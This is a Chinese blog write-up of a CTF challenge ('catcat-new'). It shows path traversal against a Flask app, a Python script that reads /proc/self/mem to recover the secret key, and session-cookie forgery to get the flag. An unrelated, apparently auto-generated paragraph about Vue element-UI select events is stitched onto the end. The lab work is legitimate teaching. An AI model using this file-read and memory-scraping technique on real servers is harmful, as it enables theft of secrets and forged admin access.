攻防世界 catcat-new

参考文章:(建议去看大佬的文章,我觉得大佬写的挺易懂)攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹) - 你呀你~ - 博客园 (cnblogs.com)

打开页面后随便点击一个图片,发现url使用GET方式传递了一个名为file的参数,怀疑可能存在文件包含漏洞。

使用wappalyzer插件可以看出flask框架,由python编写的

下面我们去读取app.py文件,去查看内容。

复制下来内容,美化一下会好看一些。

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
	__name__,
	static_url_path='/', 
	static_folder='static' 
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" 
 # 此处利用uuid.uuid4()生成了一串id字符串并在后面拼接*abcdefgh
if os.path.isfile("/flag"):
	flag = cat("/flag")
	os.remove("/flag") 

@app.route('/', methods=['GET'])
def index():
	detailtxt = os.listdir('./details/')
	cats_list = []
	for i in detailtxt:
		cats_list.append(i[:i.index('.')])
	
	return render_template("index.html", cats_list=cats_list, cat=cat)



@app.route('/info', methods=["GET", 'POST'])
def info():
	filename = "./details/" + request.args.get('file', "")
	start = request.args.get('start', "0")
	end = request.args.get('end', "0")
	name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
	
	return render_template("detail.html", catname=name, info=cat(filename, start, end)) 
 

@app.route('/admin', methods=["GET"]) # 在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。
def admin_can_list_root():
	if session.get('admin') == 1:
		return flag
	else:
		session['admin'] = 0
		return "NoNoNo"


if __name__ == '__main__':
	app.run(host='0.0.0.0', debug=False, port=5637)

flask_session的伪造需要用到secret_key,而secret_key的值可以通过内存数据获取。在读取内存数据文件/proc/self/mem之前,我们要先读取/proc/self/maps文件获取可读内容的内存映射地址。?file=../../../proc/self/maps,将maps文件返回的内容保存到test.txt中,用脚本去得到secret_key。

脚本是来自大佬的博客:(菜鸡不会自己写   攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹) - 你呀你~ - 博客园 (cnblogs.com)

import re
import requests

maps=open('test.txt')
b = maps.read()
list = b.split('\\n')
for line in list:
    if 'rw' in line:
        addr = re.search('([0-9a-f]+)-([0-9a-f]+)',line)
        #正则匹配地址,地址格式为十六进制数[0-9a-f],reserch会返回一个re.Match对象,用括号括起来是为了使用group()处理返回结果。
        start = int(addr.group(1),16)  #将十六进制字符转化为十进制数,为了符合start参数格式参考链接
        end = int(addr.group(2),16)    #将十六进制字符转化为十进制数,为了符合end参数格式
        print(start,end)
        url = f"http://61.147.171.105:63646/info?file=../../../proc/self/mem&start={start}&end={end}"
        #使用start和end参数读取mem
        response = requests.get(url)
        secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)  #uuid4()生成的字符串除去-符号后为固定的32字节(128bit),find
        if secret_key:
            print(secret_key)
            break

 

记得要改一下url啊,不然只能像我这个笨比一样等半天(bushi),拿到secret_key之后我们去伪造session。这里附上github上工具的地址:GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder

 先来解密一下session,可以看到是{'admin': 0}:

我们先改成{'admin': 1},再加密得到一个新的session:

 bp抓包伪造session,得到flag

catctf{Catch_the_c4t_HaHa} 

  • 10
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
引中提到了在使用Vue的element-UI库中的select组件时,如果将select放在循环中,可能会遇到触发change事件时无法正确传递被选中项的值和索引的问题。而引用中提到了一个具体的实例,需要根据选择的证书类别来设置证书编号的前缀。最初尝试使用el-select的@change事件来解决,但却多次输出undefined,最终通过改变思路,使用el-option的@click.native原生方法来实现。引用中则给出了一段相关的代码片段。 根据这些引用内容,可以得出el-option组件的change事件无法直接解决问题,因此需要使用其他方法来实现需求。在这个具体的例子中,使用了el-option的@click.native原生方法来实现根据选择的证书类别来设置证书编号的前缀。这样当选择了某个证书类别时,会触发el-option的点击事件,然后通过该事件来改变相应的状态。 综上所述,el-option的change事件无法直接解决问题,需要使用其他方法来实现。在这个例子中,使用了el-option的@click.native事件来实现需求。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [element-ui组件中input等的change事件中传递自定义参数](https://download.csdn.net/download/weixin_38606294/13975651)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [vue element-UI使用el-select时@change不能触发的解决方案(通过el-option @click.native原生方法)](https://blog.csdn.net/moshowgame/article/details/109151478)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [Vue + Element-ui的下拉框el-select获取额外参数详解](https://download.csdn.net/download/weixin_38697471/13965857)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值